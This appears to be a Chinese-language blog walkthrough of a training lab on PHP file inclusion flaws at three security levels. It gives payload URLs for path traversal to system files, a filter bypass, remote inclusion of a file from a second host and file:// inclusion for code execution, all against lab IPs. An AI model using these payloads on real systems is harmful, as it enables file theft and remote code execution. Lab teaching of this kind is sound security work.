文件包含//

文件包含是指当服务器开启allowurlinclude选项时,就可以通过php的某些特性函数(include(),require()和includeonce(),requireonce())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allowurlfopen选项(选项开启之后,服务器允许包含一个远程的文件)。

安全等级:低,将页面安全等级调为低。点击查看源码按钮,可以看到此时后台的实现代码如下:

可以看到url处,通过page参数分别传入的file1.php,file2.php,file3.php实现了不同的功能。那我们尝试着使用file4.php进行访问(请使用实际实验给到的靶机ip地址):

可以尝试包含以下windows(服务器为windows,如果为linux可以尝试包含/etc/passwd)中的其他文件呢?尝试构造以下链接

或者使用../的方式来进行目录跳转,可构造payload(请使用实际实验给到的靶机ip地址):

http://172.16.33.165/web/vulnerabilities/fi/?page=../../../../../windows/win.ini

由于包含的文件不是php代码,所以直接显示在了页面中,如果包含的文件为php代码,那代码将会执行。我们可以利用此漏洞去读取一些敏感文件,有些时候还可以通过包含日志的方式来getshell。

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在操作机上创建以下文件,文件后缀随意,比如1.txt,内容为:

http://172.16.33.165:8080/1.txt

这里需要确保服务器能访问到我们搭建的web服务。

所以我们可以尝试包含这个文件:

http://172.16.33.165/web/vulnerabilities/fi/?page=http://172.16.16.17:8080/1.txt

中级。点击查看源码按钮,可以看到此时后台的实现代码如下

与安全等级为低的代码相比,此时的后台代码添加了str_replace来过滤传入字符串。将http://,https://,../,..\过滤为空,即删除。但是使用这种方式是及其不安全的。比如构造payload:

http://172.16.33.165/web/vulnerabilities/fi/?page=..././..././..././..././..././windows/win.ini 

对于远程包含,可以构造:

安全等级:高,将页面安全等级调为高。点击查看源码按钮,可以看到此时后台的实现代码如下:

此时后台代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似比较安全,但是我们可以利用file协议绕过防护,继续进行文件包含,构造payload如下:

可以看到成功包含。至于执行任意php代码,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行。 如,已知服务器上存在一个c:/1.txt,内容为:

<?php

 phpinfo();

 ?>

那包含的结果为:

http://172.16.33.165/web/vulnerabilities/fi/index.php?page=file://c:/1.txt

  • 35
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值